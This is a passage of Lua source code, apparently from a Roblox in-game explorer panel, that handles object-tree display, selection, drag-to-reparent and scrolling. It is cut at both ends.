&#9;&#9;-- Clear then repopulate the entire list. It appears to be fast enough.
&#9;&#9;TreeList = {}
&#9;&#9;nodeWidth = 0
&#9;&#9;r(NodeLookup[Game])
&#9;&#9;rawUpdateSize()
&#9;end

&#9;-- Adding or removing large models will cause many updates to occur. We
&#9;-- can reduce the number of updates by creating a delay, then dropping any
&#9;-- updates that occur during the delay.
&#9;local updatingList = false
&#9;function updateList()
&#9;&#9;if updatingList then return end
&#9;&#9;updatingList = true
&#9;&#9;wait(0.25)
&#9;&#9;updatingList = false
&#9;&#9;rawUpdateList()
&#9;end

&#9;local updatingScroll = false
&#9;function updateScroll()
&#9;&#9;if updatingScroll then return end
&#9;&#9;updatingScroll = true
&#9;&#9;wait(0.25)
&#9;&#9;updatingScroll = false
&#9;&#9;scrollBar:Update()
&#9;end
end

local Selection do
&#9;local bindGetSelection = script.Parent:FindFirstChild(&quot;GetSelection&quot;)
&#9;if not bindGetSelection then
&#9;&#9;bindGetSelection = Create(&apos;BindableFunction&apos;,{Name = &quot;GetSelection&quot;})
&#9;&#9;bindGetSelection.Parent = script.Parent
&#9;end

&#9;local bindSetSelection = script.Parent:FindFirstChild(&quot;SetSelection&quot;)
&#9;if not bindSetSelection then
&#9;&#9;bindSetSelection = Create(&apos;BindableFunction&apos;,{Name = &quot;SetSelection&quot;})
&#9;&#9;bindSetSelection.Parent = script.Parent
&#9;end

&#9;local bindSelectionChanged = script.Parent:FindFirstChild(&quot;SelectionChanged&quot;)
&#9;if not bindSelectionChanged then
&#9;&#9;bindSelectionChanged = Create(&apos;BindableEvent&apos;,{Name = &quot;SelectionChanged&quot;})
&#9;&#9;bindSelectionChanged.Parent = script.Parent
&#9;end

&#9;local SelectionList = {}
&#9;local SelectionSet = {}
&#9;Selection = {
&#9;&#9;Selected = SelectionSet;
&#9;&#9;List = SelectionList;
&#9;}

&#9;local function addObject(object)
&#9;&#9;-- list update
&#9;&#9;local lupdate = false
&#9;&#9;-- scroll update
&#9;&#9;local supdate = false

&#9;&#9;if not SelectionSet[object] then
&#9;&#9;&#9;local node = NodeLookup[object]
&#9;&#9;&#9;if node then
&#9;&#9;&#9;&#9;table.insert(SelectionList,object)
&#9;&#9;&#9;&#9;SelectionSet[object] = true
&#9;&#9;&#9;&#9;node.Selected = true

&#9;&#9;&#9;&#9;-- expand all ancestors so that selected node becomes visible
&#9;&#9;&#9;&#9;node = node.Parent
&#9;&#9;&#9;&#9;while node do
&#9;&#9;&#9;&#9;&#9;if not node.Expanded then
&#9;&#9;&#9;&#9;&#9;&#9;node.Expanded = true
&#9;&#9;&#9;&#9;&#9;&#9;lupdate = true
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;node = node.Parent
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;supdate = true
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;return lupdate,supdate
&#9;end

&#9;function Selection:Set(objects)
&#9;&#9;local lupdate = false
&#9;&#9;local supdate = false

&#9;&#9;if #SelectionList &gt; 0 then
&#9;&#9;&#9;for i = 1,#SelectionList do
&#9;&#9;&#9;&#9;local object = SelectionList[i]
&#9;&#9;&#9;&#9;local node = NodeLookup[object]
&#9;&#9;&#9;&#9;if node then
&#9;&#9;&#9;&#9;&#9;node.Selected = false
&#9;&#9;&#9;&#9;&#9;SelectionSet[object] = nil
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end

&#9;&#9;&#9;SelectionList = {}
&#9;&#9;&#9;Selection.List = SelectionList
&#9;&#9;&#9;supdate = true
&#9;&#9;end

&#9;&#9;for i = 1,#objects do
&#9;&#9;&#9;local l,s = addObject(objects[i])
&#9;&#9;&#9;lupdate = l or lupdate
&#9;&#9;&#9;supdate = s or supdate
&#9;&#9;end

&#9;&#9;if lupdate then
&#9;&#9;&#9;rawUpdateList()
&#9;&#9;&#9;supdate = true
&#9;&#9;elseif supdate then
&#9;&#9;&#9;scrollBar:Update()
&#9;&#9;end

&#9;&#9;if supdate then
&#9;&#9;&#9;bindSelectionChanged:Fire()
&#9;&#9;end
&#9;end

&#9;function Selection:Add(object)
&#9;&#9;local l,s = addObject(object)
&#9;&#9;if l then
&#9;&#9;&#9;rawUpdateList()
&#9;&#9;&#9;bindSelectionChanged:Fire()
&#9;&#9;elseif s then
&#9;&#9;&#9;scrollBar:Update()
&#9;&#9;&#9;bindSelectionChanged:Fire()
&#9;&#9;end
&#9;end

&#9;function Selection:Remove(object,noupdate)
&#9;&#9;if SelectionSet[object] then
&#9;&#9;&#9;local node = NodeLookup[object]
&#9;&#9;&#9;if node then
&#9;&#9;&#9;&#9;node.Selected = false
&#9;&#9;&#9;&#9;SelectionSet[object] = nil
&#9;&#9;&#9;&#9;for i = 1,#SelectionList do
&#9;&#9;&#9;&#9;&#9;if SelectionList[i] == object then
&#9;&#9;&#9;&#9;&#9;&#9;table.remove(SelectionList,i)
&#9;&#9;&#9;&#9;&#9;&#9;break
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end

&#9;&#9;&#9;&#9;if not noupdate then
&#9;&#9;&#9;&#9;&#9;scrollBar:Update()
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;bindSelectionChanged:Fire()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end

&#9;function Selection:Get()
&#9;&#9;local list = {}
&#9;&#9;for i = 1,#SelectionList do
&#9;&#9;&#9;list[i] = SelectionList[i]
&#9;&#9;end
&#9;&#9;return list
&#9;end

&#9;bindSetSelection.OnInvoke = function(...)
&#9;&#9;Selection:Set(...)
&#9;end

&#9;bindGetSelection.OnInvoke = function()
&#9;&#9;return Selection:Get()
&#9;end
end

local function cancelReparentDrag()end
local function cancelSelectDrag()end
do
&#9;local listEntries = {}
&#9;local nameConnLookup = {}

&#9;local mouseDrag = Create(&apos;ImageButton&apos;,{
&#9;&#9;Name = &quot;MouseDrag&quot;;
&#9;&#9;Position = UDim2.new(-0.25,0,-0.25,0);
&#9;&#9;Size = UDim2.new(1.5,0,1.5,0);
&#9;&#9;Transparency = 1;
&#9;&#9;AutoButtonColor = false;
&#9;&#9;Active = true;
&#9;&#9;ZIndex = 10;
&#9;})
&#9;local function dragSelect(last,add,button)
&#9;&#9;local connDrag
&#9;&#9;local conUp

&#9;&#9;conDrag = mouseDrag.MouseMoved:connect(function(x,y)
&#9;&#9;&#9;local pos = Vector2.new(x,y) - listFrame.AbsolutePosition
&#9;&#9;&#9;local size = listFrame.AbsoluteSize
&#9;&#9;&#9;if pos.x &lt; 0 or pos.x &gt; size.x or pos.y &lt; 0 or pos.y &gt; size.y then return end

&#9;&#9;&#9;local i = math.ceil(pos.y/ENTRY_BOUND) + scrollBar.ScrollIndex
&#9;&#9;&#9;-- Mouse may have made a large step, so interpolate between the
&#9;&#9;&#9;-- last index and the current.
&#9;&#9;&#9;for n = i&lt;last and i or last, i&gt;last and i or last do
&#9;&#9;&#9;&#9;local node = TreeList[n]
&#9;&#9;&#9;&#9;if node then
&#9;&#9;&#9;&#9;&#9;if add then
&#9;&#9;&#9;&#9;&#9;&#9;Selection:Add(node.Object)
&#9;&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;&#9;Selection:Remove(node.Object)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;last = i
&#9;&#9;end)

&#9;&#9;function cancelSelectDrag()
&#9;&#9;&#9;mouseDrag.Parent = nil
&#9;&#9;&#9;conDrag:disconnect()
&#9;&#9;&#9;conUp:disconnect()
&#9;&#9;&#9;function cancelSelectDrag()end
&#9;&#9;end

&#9;&#9;conUp = mouseDrag[button]:connect(cancelSelectDrag)

&#9;&#9;mouseDrag.Parent = GetScreen(listFrame)
&#9;end

&#9;local function dragReparent(object,dragGhost,clickPos,ghostOffset)
&#9;&#9;local connDrag
&#9;&#9;local conUp
&#9;&#9;local conUp2

&#9;&#9;local parentIndex = nil
&#9;&#9;local dragged = false

&#9;&#9;local parentHighlight = Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Transparency = 1;
&#9;&#9;&#9;Visible = false;
&#9;&#9;&#9;Create(&apos;Frame&apos;,{
&#9;&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;&#9;BackgroundColor3 = Color3.new(0,0,0);
&#9;&#9;&#9;&#9;BackgroundTransparency = 0.1;
&#9;&#9;&#9;&#9;Position = UDim2.new(0,0,0,0);
&#9;&#9;&#9;&#9;Size = UDim2.new(1,0,0,1);
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(&apos;Frame&apos;,{
&#9;&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;&#9;BackgroundColor3 = Color3.new(0,0,0);
&#9;&#9;&#9;&#9;BackgroundTransparency = 0.1;
&#9;&#9;&#9;&#9;Position = UDim2.new(1,0,0,0);
&#9;&#9;&#9;&#9;Size = UDim2.new(0,1,1,0);
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(&apos;Frame&apos;,{
&#9;&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;&#9;BackgroundColor3 = Color3.new(0,0,0);
&#9;&#9;&#9;&#9;BackgroundTransparency = 0.1;
&#9;&#9;&#9;&#9;Position = UDim2.new(0,0,1,0);
&#9;&#9;&#9;&#9;Size = UDim2.new(1,0,0,1);
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(&apos;Frame&apos;,{
&#9;&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;&#9;BackgroundColor3 = Color3.new(0,0,0);
&#9;&#9;&#9;&#9;BackgroundTransparency = 0.1;
&#9;&#9;&#9;&#9;Position = UDim2.new(0,0,0,0);
&#9;&#9;&#9;&#9;Size = UDim2.new(0,1,1,0);
&#9;&#9;&#9;});
&#9;&#9;})
&#9;&#9;SetZIndex(parentHighlight,9)

&#9;&#9;conDrag = mouseDrag.MouseMoved:connect(function(x,y)
&#9;&#9;&#9;local dragPos = Vector2.new(x,y)
&#9;&#9;&#9;if dragged then
&#9;&#9;&#9;&#9;local pos = dragPos - listFrame.AbsolutePosition
&#9;&#9;&#9;&#9;local size = listFrame.AbsoluteSize

&#9;&#9;&#9;&#9;parentIndex = nil
&#9;&#9;&#9;&#9;parentHighlight.Visible = false
&#9;&#9;&#9;&#9;if pos.x &gt;= 0 and pos.x &lt;= size.x and pos.y &gt;= 0 and pos.y &lt;= size.y then
&#9;&#9;&#9;&#9;&#9;local i = math.ceil(pos.y/ENTRY_BOUND)
&#9;&#9;&#9;&#9;&#9;local node = TreeList[i + scrollBar.ScrollIndex]
&#9;&#9;&#9;&#9;&#9;if node and node.Object ~= object and not object:IsAncestorOf(node.Object) then
&#9;&#9;&#9;&#9;&#9;&#9;parentIndex = i
&#9;&#9;&#9;&#9;&#9;&#9;local entry = listEntries[i]
&#9;&#9;&#9;&#9;&#9;&#9;if entry then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;parentHighlight.Visible = true
&#9;&#9;&#9;&#9;&#9;&#9;&#9;parentHighlight.Position = UDim2.new(0,1,0,entry.AbsolutePosition.y-listFrame.AbsolutePosition.y)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;parentHighlight.Size = UDim2.new(0,size.x-4,0,entry.AbsoluteSize.y)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end

&#9;&#9;&#9;&#9;dragGhost.Position = UDim2.new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y)
&#9;&#9;&#9;elseif (clickPos-dragPos).magnitude &gt; 8 then
&#9;&#9;&#9;&#9;dragged = true
&#9;&#9;&#9;&#9;SetZIndex(dragGhost,9)
&#9;&#9;&#9;&#9;dragGhost.IndentFrame.Transparency = 0.25
&#9;&#9;&#9;&#9;dragGhost.IndentFrame.EntryText.TextColor3 = GuiColor.TextSelected
&#9;&#9;&#9;&#9;dragGhost.Position = UDim2.new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y)
&#9;&#9;&#9;&#9;dragGhost.Parent = GetScreen(listFrame)
&#9;&#9;&#9;&#9;parentHighlight.Parent = listFrame
&#9;&#9;&#9;end
&#9;&#9;end)

&#9;&#9;function cancelReparentDrag()
&#9;&#9;&#9;mouseDrag.Parent = nil
&#9;&#9;&#9;conDrag:disconnect()
&#9;&#9;&#9;conUp:disconnect()
&#9;&#9;&#9;conUp2:disconnect()
&#9;&#9;&#9;dragGhost:Destroy()
&#9;&#9;&#9;parentHighlight:Destroy()
&#9;&#9;&#9;function cancelReparentDrag()end
&#9;&#9;end

&#9;&#9;local wasSelected = Selection.Selected[object]
&#9;&#9;if not wasSelected and Option.Selectable then
&#9;&#9;&#9;Selection:Set({object})
&#9;&#9;end

&#9;&#9;conUp = mouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;cancelReparentDrag()
&#9;&#9;&#9;if dragged then
&#9;&#9;&#9;&#9;if parentIndex then
&#9;&#9;&#9;&#9;&#9;local parentNode = TreeList[parentIndex + scrollBar.ScrollIndex]
&#9;&#9;&#9;&#9;&#9;if parentNode then
&#9;&#9;&#9;&#9;&#9;&#9;parentNode.Expanded = true

&#9;&#9;&#9;&#9;&#9;&#9;local parentObj = parentNode.Object
&#9;&#9;&#9;&#9;&#9;&#9;local function parent(a,b)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;a.Parent = b
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;if Option.Selectable then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;local list = Selection.List
&#9;&#9;&#9;&#9;&#9;&#9;&#9;for i = 1,#list do
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;pcall(parent,list[i],parentObj)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;&#9;&#9;pcall(parent,object,parentObj)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;-- do selection click
&#9;&#9;&#9;&#9;if wasSelected and Option.Selectable then
&#9;&#9;&#9;&#9;&#9;Selection:Set({})
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end)
&#9;&#9;conUp2 = mouseDrag.MouseButton2Down:connect(function()
&#9;&#9;&#9;cancelReparentDrag()
&#9;&#9;end)

&#9;&#9;mouseDrag.Parent = GetScreen(listFrame)
&#9;end

&#9;local entryTemplate = Create(&apos;ImageButton&apos;,{
&#9;&#9;Name = &quot;Entry&quot;;
&#9;&#9;Transparency = 1;
&#9;&#9;AutoButtonColor = false;
&#9;&#9;Position = UDim2.new(0,0,0,0);
&#9;&#9;Size = UDim2.new(1,0,0,ENTRY_SIZE);
&#9;&#9;Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Name = &quot;IndentFrame&quot;;
&#9;&#9;&#9;BackgroundTransparency = 1;
&#9;&#9;&#9;BackgroundColor3 = GuiColor.Selected;
&#9;&#9;&#9;BorderColor3 = GuiColor.BorderSelected;
&#9;&#9;&#9;Position = UDim2.new(0,0,0,0);
&#9;&#9;&#9;Size = UDim2.new(1,0,1,0);
&#9;&#9;&#9;Create(Icon(&apos;ImageButton&apos;,0),{
&#9;&#9;&#9;&#9;Name = &quot;Expand&quot;;
&#9;&#9;&#9;&#9;AutoButtonColor = false;
&#9;&#9;&#9;&#9;Position = UDim2.new(0,-GUI_SIZE,0.5,-GUI_SIZE/2);
&#9;&#9;&#9;&#9;Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(Icon(nil,0),{
&#9;&#9;&#9;&#9;Name = &quot;ExplorerIcon&quot;;
&#9;&#9;&#9;&#9;Position = UDim2.new(0,2+ENTRY_PADDING,0.5,-GUI_SIZE/2);
&#9;&#9;&#9;&#9;Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE);
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(&apos;TextLabel&apos;,{
&#9;&#9;&#9;&#9;Name = &quot;EntryText&quot;;
&#9;&#9;&#9;&#9;BackgroundTransparency = 1;
&#9;&#9;&#9;&#9;TextColor3 = GuiColor.Text;
&#9;&#9;&#9;&#9;TextXAlignment = &apos;Left&apos;;
&#9;&#9;&#9;&#9;TextYAlignment = &apos;Center&apos;;
&#9;&#9;&#9;&#9;Font = FONT;
&#9;&#9;&#9;&#9;FontSize = FONT_SIZE;
&#9;&#9;&#9;&#9;Text = &quot;&quot;;
&#9;&#9;&#9;&#9;Position = UDim2.new(0,2+ENTRY_SIZE+4,0,0);
&#9;&#9;&#9;&#9;Size = UDim2.new(1,-2,1,0);
&#9;&#9;&#9;});
&#9;&#9;});
&#9;})

&#9;function scrollBar.UpdateCallback(self)
&#9;&#9;for i = 1,self.VisibleSpace do
&#9;&#9;&#9;local node = TreeList[i + self.ScrollIndex]
&#9;&#9;&#9;if node then
&#9;&#9;&#9;&#9;local entry = listEntries[i]
&#9;&#9;&#9;&#9;if not entry then
&#9;&#9;&#9;&#9;&#9;entry = Create(entryTemplate:Clone(),{
&#9;&#9;&#9;&#9;&#9;&#9;Position = UDim2.new(0,2,0,ENTRY_BOUND*(i-1)+2);
&#9;&#9;&#9;&#9;&#9;&#9;Size = UDim2.new(0,nodeWidth,0,ENTRY_SIZE);
&#9;&#9;&#9;&#9;&#9;&#9;ZIndex = listFrame.ZIndex;
&#9;&#9;&#9;&#9;&#9;})
&#9;&#9;&#9;&#9;&#9;listEntries[i] = entry

&#9;&#9;&#9;&#9;&#9;local expand = entry.IndentFrame.Expand
&#9;&#9;&#9;&#9;&#9;expand.MouseEnter:connect(function()
&#9;&#9;&#9;&#9;&#9;&#9;local node = TreeList[i + self.ScrollIndex]
&#9;&#9;&#9;&#9;&#9;&#9;if #node &gt; 0 then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if node.Expanded then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Icon(expand,NODE_EXPANDED_OVER)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Icon(expand,NODE_COLLAPSED_OVER)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;&#9;expand.MouseLeave:connect(function()
&#9;&#9;&#9;&#9;&#9;&#9;local node = TreeList[i + self.ScrollIndex]
&#9;&#9;&#9;&#9;&#9;&#9;if #node &gt; 0 then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if node.Expanded then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Icon(expand,NODE_EXPANDED)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Icon(expand,NODE_COLLAPSED)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;&#9;expand.MouseButton1Down:connect(function()
&#9;&#9;&#9;&#9;&#9;&#9;local node = TreeList[i + self.ScrollIndex]
&#9;&#9;&#9;&#9;&#9;&#9;if #node &gt; 0 then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;node.Expanded = not node.Expanded
&#9;&#9;&#9;&#9;&#9;&#9;&#9;-- use raw update so the list updates instantly
&#9;&#9;&#9;&#9;&#9;&#9;&#9;rawUpdateList()
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end)

&#9;&#9;&#9;&#9;&#9;entry.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;&#9;&#9;local node = TreeList[i + self.ScrollIndex]
&#9;&#9;&#9;&#9;&#9;&#9;if Option.Modifiable then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;local pos = Vector2.new(x,y)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;dragReparent(node.Object,entry:Clone(),pos,entry.AbsolutePosition-pos)
&#9;&#9;&#9;&#9;&#9;&#9;elseif Option.Selectable then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if Selection.Selected[node.Object] then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Selection:Set({})
&#9;&#9;&#9;&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Selection:Set({node.Object})
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;dragSelect(i+self.ScrollIndex,true,&apos;MouseButton1Up&apos;)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end)

&#9;&#9;&#9;&#9;&#9;entry.MouseButton2Down:connect(function()
&#9;&#9;&#9;&#9;&#9;&#9;if not Option.Selectable then return end

&#9;&#9;&#9;&#9;&#9;&#9;local node = TreeList[i + self.ScrollIndex]
&#9;&#9;&#9;&#9;&#9;&#9;if Selection.Selected[node.Object] then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Selection:Remove(node.Object)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;dragSelect(i+self.ScrollIndex,false,&apos;MouseButton2Up&apos;)
&#9;&#9;&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Selection:Add(node.Object)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;dragSelect(i+self.ScrollIndex,true,&apos;MouseButton2Up&apos;)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end)

&#9;&#9;&#9;&#9;&#9;entry.Parent = listFrame
&#9;&#9;&#9;&#9;end

&#9;&#9;&#9;&#9;entry.Visible = true

&#9;&#9;&#9;&#9;local object = node.Object

&#9;&#9;&#9;&#9;-- update expand icon
&#9;&#9;&#9;&#9;if #node == 0 then
&#9;&#9;&#9;&#9;&#9;entry.IndentFrame.Expand.Visible = false
&#9;&#9;&#9;&#9;elseif node.Expanded then
&#9;&#9;&#9;&#9;&#9;Icon(entry.IndentFrame.Expand,NODE_EXPANDED)
&#9;&#9;&#9;&#9;&#9;entry.IndentFrame.Expand.Visible = true
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;Icon(entry.IndentFrame.Expand,NODE_COLLAPSED)
&#9;&#9;&#9;&#9;&#9;entry.IndentFrame.Expand.Visible = true
&#9;&#9;&#9;&#9;end

&#9;&#9;&#9;&#9;-- update explorer icon
&#9;&#9;&#9;&#9;Icon(entry.IndentFrame.ExplorerIcon,ExplorerIndex[object.ClassName] or 0)

&#9;&#9;&#9;&#9;-- update indentation
&#9;&#9;&#9;&#9;local w = (node.Depth)*(2+ENTRY_PADDING+GUI_SIZE)
&#9;&#9;&#9;&#9;entry.IndentFrame.Position = UDim2.new(0,w,0,0)
&#9;&#9;&#9;&#9;entry.IndentFrame.Size = UDim2.new(1,-w,1,0)

&#9;&#9;&#9;&#9;-- update name change detection
&#9;&#9;&#9;&#9;if nameConnLookup[entry] then
&#9;&#9;&#9;&#9;&#9;nameConnLookup[entry]:disconnect()
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;local text = entry.IndentFrame.EntryText
&#9;&#9;&#9;&#9;text.Text = object.Name
&#9;&#9;&#9;&#9;nameConnLookup[entry] = node.Object.Changed:connect(function(p)
&#9;&#9;&#9;&#9;&#9;if p == &apos;Name&apos; then
&#9;&#9;&#9;&#9;&#9;&#9;text.Text = object.Name
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end)

&#9;&#9;&#9;&#9;-- update selection
&#9;&#9;&#9;&#9;entry.IndentFrame.Transparency = node.Selected and 0 or 1
&#9;&#9;&#9;&#9;text.TextColor3 = GuiColor[node.Selected and &apos;TextSelected&apos; or &apos;Text&apos;]

&#9;&#9;&#9;&#9;entry.Size = UDim2.new(0,nodeWidth,0,ENTRY_SIZE)
&#9;&#9;&#9;elseif listEntries[i] then
&#9;&#9;&#9;&#9;listEntries[i].Visible = false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;for i = self.VisibleSpace+1,self.TotalSpace do
&#9;&#9;&#9;local entry = listEntries[i]
&#9;&#9;&#9;if entry then
&#9;&#9;&#9;&#9;listEntries[i] = nil
&#9;&#9;&#9;&#9;entry:Destroy()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end

&#9;function scrollBarH.UpdateCallback(self)
&#9;&#9;for i = 1,scrollBar.VisibleSpace do
&#9;&#9;&#9;local node = TreeList[i + scrollBar.ScrollIndex]
&#9;&#9;&#9;if node then
&#9;&#9;&#9;&#9;local entry = listEntries[i]
&#9;&#9;&#9;&#9;if entry then
&#9;&#9;&#9;&#9;&#9;entry.Position = UDim2.new(0,2 - scrollBarH.ScrollIndex,0,ENTRY_BOUND*(i-1)+2)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end

&#9;Connect(listFrame.Changed,function(p)
&#9;&#9;if p == &apos;AbsoluteSize&apos; then
&#9;&#9;&#9;rawUpdateSize()
&#9;&#9;end
&#9;end)

&#9;local wheelAmount = 6
&#9;explorerPanel.MouseWheelForward:connect(function()
&#9;&#9;if scrollBar.VisibleSpace - 1 &gt; wheelAmount then
&#9;&#9;&#9;scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount)
&#9;&#9;else
&#9;&#9;&#9;scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace)
&#9;&#9;end
&#9;end)
&#9;explorerPanel.MouseWheelBackward:connect(function()
&#9;&#9;if scrollBar.VisibleSpace - 1 &gt; wheelAmount then
&#9;&#9;&#9;scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount)
&#9;&#9;else
&#9;&#9;&#9;scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace)
&#9;&#9;end
&#9;end)
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Object detection

-- Inserts `v` into `t` at `i`. Also sets `Index` field in `v`.
local function insert(t,i,v)
&#9;for n = #t,i,-1 do
&#9;&#9;local v = t[n]
&#9;&#9;v.Index = n+1
&#9;&#9;t[n+1] = v
&#9;end
&#9;v.Index = i
&#9;t[i] = v
end

-- Removes `i` from `t`. Also sets `Index` field in removed value.
local function remove(t,i)
&#9;local v = t[i]
&#9;for n = i+1,#t do
&#9;&#9;local v = t[n]
&#9;&#9;v.Index = n-1
&#9;&#9;t[n-1] = v
&#9;end
&#9;t[#t] = nil
&#9;v.Index = 0
&#9;return v
end

-- Returns how deep `o` is in the tree.
local function depth(o)
&#9;local d = -1
&#9;while o do
&#9;&#9;o = o.Parent
&#9;&#9;d = d + 1
&#9;end
&#9;return d
end


local connLookup = {}

-- Returns whether a node would be present in the tree list
local function nodeIsVisible(node)
&#9;local visible = true
&#9;node = node.Parent
&#9;while node and visible do
&#9;&#9;visible = visible and node.Expanded
&#9;&#9;node = node.Parent
&#9;end
&#9;return visible
end

-- Removes an object&apos;s tree node. Called when the object stops existing in the
-- game tree.
local function removeObject(object)
&#9;local objectNode = NodeLookup[object]
&#9;if not objectNode then
&#9;&#9;return
&#9;end

&#9;local visible = nodeIsVisible(objectNode)

&#9;Selection:Remove(object,true)

&#9;local parent = objectNode.Parent
&#9;remove(parent,objectNode.Index)
&#9;NodeLookup[object] = nil
&#9;connLookup[object]:disconnect()
&#9;connLookup[object] = nil

&#9;if visible then
&#9;&#9;updateList()
&#9;elseif nodeIsVisible(parent) then
&#9;&#9;updateScroll()
&#9;end
end

-- Moves a tree node to a new parent. Called when an existing object&apos;s parent
-- changes.
local function moveObject(object,parent)
&#9;local objectNode = NodeLookup[object]
&#9;if not objectNode then
&#9;&#9;return
&#9;end

&#9;local parentNode = NodeLookup[parent]
&#9;if not parentNode then
&#9;&#9;return
&#9;end

&#9;local visible = nodeIsVisible(objectNode)

&#9;remove(objectNode.Parent,objectNode.Index)
&#9;objectNode.Parent = parentNode

&#9;objectNode.Depth = depth(object)
&#9;local function r(node,d)
&#9;&#9;for i = 1,#node do
&#9;&#9;&#9;node[i].Depth = d
&#9;&#9;&#9;r(node[i],d+1)
&#9;&#9;end
&#9;end
&#9;r(objectNode,objectNode.Depth+1)

&#9;insert(parentNode,#parentNode+1,objectNode)

&#9;if visible or nodeIsVisible(objectNode) then
&#9;&#9;updateList()
&#9;elseif nodeIsVisible(objectNode.Parent) then
&#9;&#9;updateScroll()
&#9;end
end

-- ScriptContext[&apos;/Libraries/LibraryRegistration/LibraryRegistration&apos;]
-- This RobloxLocked object lets me index its properties for some reason

local function check(object)
&#9;return object.AncestryChanged
end

-- Creates a new tree node from an object. Called when an object starts
-- existing in the game tree.
local function addObject(object,noupdate)
&#9;if script then
&#9;&#9;-- protect against naughty RobloxLocked objects
&#9;&#9;local s = pcall(check,object)
&#9;&#9;if not s then
&#9;&#9;&#9;return
&#9;&#9;end
&#9;end

&#9;local parentNode = NodeLookup[object.Parent]
&#9;if not parentNode then
&#9;&#9;return
&#9;end

&#9;local objectNode = {
&#9;&#9;Object = object;
&#9;&#9;Parent = parentNode;
&#9;&#9;Index = 0;
&#9;&#9;Expanded = false;
&#9;&#9;Selected = false;
&#9;&#9;Depth = depth(object);
&#9;}

&#9;connLookup[object] = Connect(object.AncestryChanged,function(c,p)
